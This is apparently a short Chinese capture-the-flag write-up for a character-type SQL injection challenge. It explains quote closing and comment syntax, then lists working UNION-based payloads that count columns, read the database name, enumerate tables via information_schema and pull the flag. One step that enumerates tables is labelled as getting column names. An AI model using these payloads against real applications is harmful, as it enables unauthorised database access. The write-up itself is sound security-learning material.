原题
解题过程
和整数型类似,只是从整数型变成了字符。正常提交的时候我们无需管输入的是字符还是数字,但系统会添加单引号或者双引号,在注入的时候需要注意引号的闭合和注释。字符一般是使用单引号,sql语言的注释为“--”、“#”、“--+”。
下面判断列数:
1' order by 2 #'
-1' union select 1,2 #
获取数据库名字。
-1' union select 1,database() #
获取列名。
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
获取flag
-1' union select 1,flag from sqli.flag #